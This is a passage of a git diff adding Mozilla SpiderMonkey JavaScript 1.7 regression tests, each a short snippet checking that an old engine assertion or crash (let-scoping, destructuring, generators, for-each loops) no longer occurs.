+
+let Object = 1;
+actual = Object;
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/regress/regress-407727-02.js b/js/src/tests/js1_7/regress/regress-407727-02.js
new file mode 100644
index 000000000..bcc7a38ab
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-407727-02.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407727;
+var summary = 'let Object block redeclaration';
+var actual = '';
+var expect = 1;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+{
+ let Object = 1;
+ actual = Object;
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/js1_7/regress/regress-407957.js b/js/src/tests/js1_7/regress/regress-407957.js
new file mode 100644
index 000000000..ffd05bd42
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-407957.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407957;
+var summary = 'Iterator is mutable.';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = {};
+ var saveIterator = Iterator;
+
+ Iterator = obj;
+ reportCompare(obj, Iterator, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-410649.js b/js/src/tests/js1_7/regress/regress-410649.js
new file mode 100644
index 000000000..ddd2b2a57
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-410649.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 410649;
+var summary = 'function statement and destructuring parameter name clash';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(a) {
+ function a() { }
+ return a;
+ }
+
+ function g([a, b]) {
+ function a() { }
+ return a;
+ }
+
+ expect = 'function';
+ actual = typeof f(1);
+ reportCompare(expect, actual, "type for simple parameter case");
+
+ expect = 'function';
+ actual = typeof g([1, 2]);
+ reportCompare(expect, actual, "type for destructuring parameter case");
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-414553.js b/js/src/tests/js1_7/regress/regress-414553.js
new file mode 100644
index 000000000..6f5139022
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-414553.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 414553;
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var expected = '1,2,3,4';
+
+let a = 1, [b,c] = [2,3], d = 4;
+var actual = String([a,b,c,d]);
+
+reportCompare(expected, actual, 'destructuring assignment in let');
+
+function f() {
+ {
+ let a = 1, [b,c] = [2,3], d = 4;
+ return String([a,b,c,d]);
+ }
+}
+
+reportCompare(expected, f(), 'destructuring assignment in let inside func');
diff --git a/js/src/tests/js1_7/regress/regress-416601.js b/js/src/tests/js1_7/regress/regress-416601.js
new file mode 100644
index 000000000..197bf29af
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-416601.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416601;
+var summary = 'Property cache can be left disabled after exit from a generator or trap handler';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f()
+ {
+ with (Math) {
+ yield 1;
+ }
+ }
+
+ var iter = f();
+ iter.next();
+ iter.close();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-418641.js b/js/src/tests/js1_7/regress/regress-418641.js
new file mode 100644
index 000000000..7d194fc32
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-418641.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418641;
+var summary = '++ and -- correctness';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function get_pre_check(operand, op)
+{
+ return "{\n"+
+ " "+operand+" = I;\n"+
+ " let tmp = "+op+op+operand+";\n"+
+ " if ("+operand+" !== Number(I) "+op+" 1)\n"+
+ " throw Error('"+op+op+operand+" case 1 for '+uneval(I));\n"+
+ " if (tmp !== "+operand+")\n"+
+ " throw Error('"+op+op+operand+" case 2 for '+uneval(I));\n"+
+ "}\n";
+}
+
+function get_post_check(operand, op)
+{
+ return "{\n"+
+ " "+operand+" = I;\n"+
+ " let tmp = "+operand+op+op+";\n"+
+ " if ("+operand+" !== Number(I) "+op+" 1)\n"+
+ " throw Error('"+operand+op+op+" case 1 for '+uneval(I));\n"+
+ " if (tmp !== Number(I))\n"+
+ " throw Error('"+op+op+operand+" case 2 for '+uneval(I));\n"+
+ "}\n";
+}
+
+function get_check_source(operand)
+{
+ return get_pre_check(operand, '+')+
+ get_pre_check(operand, '-')+
+ get_post_check(operand, '+')+
+ get_post_check(operand, '-');
+}
+
+var arg_check = Function('I', 'a', get_check_source('a'));
+var let_check = Function('I', 'let a;'+get_check_source('a'));
+var var_check = Function('I', 'var a;'+get_check_source('a'));
+
+var my_name;
+var my_obj = {};
+var my_index = 0;
+var name_check = Function('I', get_check_source('my_name'));
+var prop_check = Function('I', get_check_source('my_obj.x'));
+var elem_check = Function('I', get_check_source('my_obj[my_index]'));
+
+var test_values = [0 , 0.5, -0.0, (1 << 30) - 1, 1 - (1 << 30)];
+
+for (let i = 0; i != test_values.length; i = i + 1) {
+ let x = [test_values[i], String(test_values[i])];
+ for (let j = 0; j != x.length; j = j + 1) {
+ try
+ {
+ expect = actual = 'No Error';
+ let test_value = x[j];
+ arg_check(test_value, 0);
+ let_check(test_value);
+ var_check(test_value);
+ name_check(test_value);
+ prop_check(test_value);
+ elem_check(test_value);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + i + ', ' + j);
+ }
+}
diff --git a/js/src/tests/js1_7/regress/regress-419803.js b/js/src/tests/js1_7/regress/regress-419803.js
new file mode 100644
index 000000000..aa4b56aad
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-419803.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419803;
+var summary = 'Do not assert: sprop->parent == scope->lastProp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function g() { for (var i=0; i<2; ++i) yield ({ p: 5, p: 7 }); }
+ var iter = g();
+ print(uneval(iter.next()));
+ print(uneval(iter.next()));
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-452703.js b/js/src/tests/js1_7/regress/regress-452703.js
new file mode 100644
index 000000000..e86f2625f
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-452703.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452703;
+var summary = 'Do not assert with JIT: rmask(rr)&FpRegs';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+(function() { for(let y in [0,1,2,3,4]) y = NaN; })();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/regress/regress-452960.js b/js/src/tests/js1_7/regress/regress-452960.js
new file mode 100644
index 000000000..8b58fd15a
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-452960.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452960;
+var summary = 'Do not assert with JIT: !v.isPrimitive()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var f = function(){};
+ f.prototype = false;
+ for (let j=0;j<5;++j) { new f; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-453049.js b/js/src/tests/js1_7/regress/regress-453049.js
new file mode 100644
index 000000000..77ca02a5d
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-453049.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453049;
+var summary = 'Do not assert with JIT: (*m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var z = 0; for (let j = 0; j < 5; ++j) { ({p: (-z)}); }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-453051.js b/js/src/tests/js1_7/regress/regress-453051.js
new file mode 100644
index 000000000..706f6c7e1
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-453051.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453051;
+var summary = 'Do not assert with JIT: !(((*pc == JSOP_GOTO) || (*pc == JSOP_GOTOX)) && (exitType != LOOP_EXIT))';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var p in this){} for (let a in [5,6,7]) for (var b=0;b<1;++b) break;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-453411.js b/js/src/tests/js1_7/regress/regress-453411.js
new file mode 100644
index 000000000..d3a490ac4
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-453411.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 453411;
+var summary = 'Do not assert with JIT: !cx->executingTrace|!tm->onTrace';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var i in (function(){ for (var j=0;j<4;++j) { yield ""; } })());
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-462071.js b/js/src/tests/js1_7/regress/regress-462071.js
new file mode 100644
index 000000000..8282184bb
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-462071.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462071;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for each (let i in [{}, 0, 0, {}, 0, {}, 0]) { }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-462282.js b/js/src/tests/js1_7/regress/regress-462282.js
new file mode 100644
index 000000000..2ba12998a
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-462282.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462282;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for each (let i in [0, 0, 0, "", 0, 0, "", 0, 0, "", 0]) { }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-462388.js b/js/src/tests/js1_7/regress/regress-462388.js
new file mode 100644
index 000000000..b1f03e61e
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-462388.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462388;
+var summary = 'Do not assert: JSVAL_TAG(v) == JSVAL_STRING';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var c = 0, v; for each (let x in ["",v,v,v]) { for (c=0;c<4;++c) { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-462407.js b/js/src/tests/js1_7/regress/regress-462407.js
new file mode 100644
index 000000000..236f1aae4
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-462407.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 462407;
+var summary = 'Do not assert: !ti->stackTypeMap.matches(ti_other->stackTypeMap)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+(function f() { for each (let i in [0, {}, 0, 1.5, {}, 0, 1.5, 0, 0]) { }})();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/regress/regress-464403.js b/js/src/tests/js1_7/regress/regress-464403.js
new file mode 100644
index 000000000..c26ab44d3
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-464403.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 464403;
+var summary = 'Do not assert: tm->recorder != NULL';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ print(8);
+ var u = [print, print, function(){}];
+ for each (x in u) for (u.e in [1,1,1,1]);
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-465236.js b/js/src/tests/js1_7/regress/regress-465236.js
new file mode 100644
index 000000000..f446c27a9
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-465236.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465236;
+var summary = 'TM: Do not assert: we should have converted to numbers already';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let j = 0; j < 2; ++j) null <= null;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-465424.js b/js/src/tests/js1_7/regress/regress-465424.js
new file mode 100644
index 000000000..dd11d1303
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-465424.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465424;
+var summary = 'TM: issue with post-decrement operator';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '0,1,2,3,4,';
+
+ for (let j=0;j<5;++j) { jj=j; print(actual += '' + (jj--) + ',') }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-465484.js b/js/src/tests/js1_7/regress/regress-465484.js
new file mode 100644
index 000000000..3f430e137
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-465484.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465484;
+var summary = 'TM: Do not assert: _allocator.active[FST0] && _fpuStkDepth == -1 || ' +
+ '!_allocator.active[FST0] && _fpuStkDepth == 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for each (let a in [2, 2, 2]) { a %= a; a %= a; }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-465686.js b/js/src/tests/js1_7/regress/regress-465686.js
new file mode 100644
index 000000000..8e92a2914
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-465686.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465686;
+var summary = 'Do not crash @ tiny_free_list_add_ptr';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for each (let b in [eval, eval, 4, 4]) {
+ ++b;
+ for each (b in [(void 0), (void 0), (void 0), 3, (void 0), 3]) {
+ b ^= b;
+ for each (var c in [1/0]) {
+ }
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-469239-01.js b/js/src/tests/js1_7/regress/regress-469239-01.js
new file mode 100644
index 000000000..7fa5a7e61
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-469239-01.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469239;
+var summary = 'TM: Do not assert: entry->kpc == (jsbytecode*) atoms[index]';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let b=0;b<9;++b) {
+ for each (let h in ['', 3, /x/]) {
+ for each (c in [[], [], [], /x/]) {
+ '' + c;
+ }
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-469239-02.js b/js/src/tests/js1_7/regress/regress-469239-02.js
new file mode 100644
index 000000000..4396f83f0
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-469239-02.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469239;
+var summary = 'TM: Do not assert: ATOM_IS_STRING(atom)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let b=0;b<9;++b) {
+ for each (let h in [33, 3, /x/]) {
+ for each (c in [[], [], [], /x/]) {
+ '' + c;
+ }
+ }
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-470223.js b/js/src/tests/js1_7/regress/regress-470223.js
new file mode 100644
index 000000000..725e22983
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-470223.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470223;
+var summary = 'TM: Do not crash @ js_NewObjectWithGivenProto';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function F(A) {
+ for (R = [], s = 0; (m = A.indexOf("m", s++)) >= 0; )
+ R.push([m]);
+ for (i = R.length; i--; ) {
+ let r = R[i];
+ if (r[0]);
+ }
+ }
+ F("m"); F("mm");
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-470388-01.js b/js/src/tests/js1_7/regress/regress-470388-01.js
new file mode 100644
index 000000000..ac18f9b07
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-470388-01.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470388;
+var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for each (let x in [function(){}, new Boolean(false), function(){}]) {}
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/regress-474771.js b/js/src/tests/js1_7/regress/regress-474771.js
new file mode 100644
index 000000000..ae20d2c5d
--- /dev/null
+++ b/js/src/tests/js1_7/regress/regress-474771.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'TM: do not halt execution with gczeal, prototype mangling, for..in';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(2);
+ }
+
+ Object.prototype.q = 3;
+ for each (let x in [6, 7]) { } print(actual = "PASS");
+
+
+ delete Object.prototype.q;
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/regress/shell.js b/js/src/tests/js1_7/regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_7/regress/shell.js
diff --git a/js/src/tests/js1_7/shell.js b/js/src/tests/js1_7/shell.js
new file mode 100644
index 000000000..cc80c5747
--- /dev/null
+++ b/js/src/tests/js1_7/shell.js
@@ -0,0 +1,12 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// NOTE: This only turns on 1.7 in shell builds. The browser requires the
+// futzing in js/src/tests/browser.js.
+if (typeof version != 'undefined')
+{
+ version(170);
+}
+
diff --git a/js/src/tests/js1_7/template.js b/js/src/tests/js1_7/template.js
new file mode 100644
index 000000000..089aae2d6
--- /dev/null
+++ b/js/src/tests/js1_7/template.js
@@ -0,0 +1,28 @@
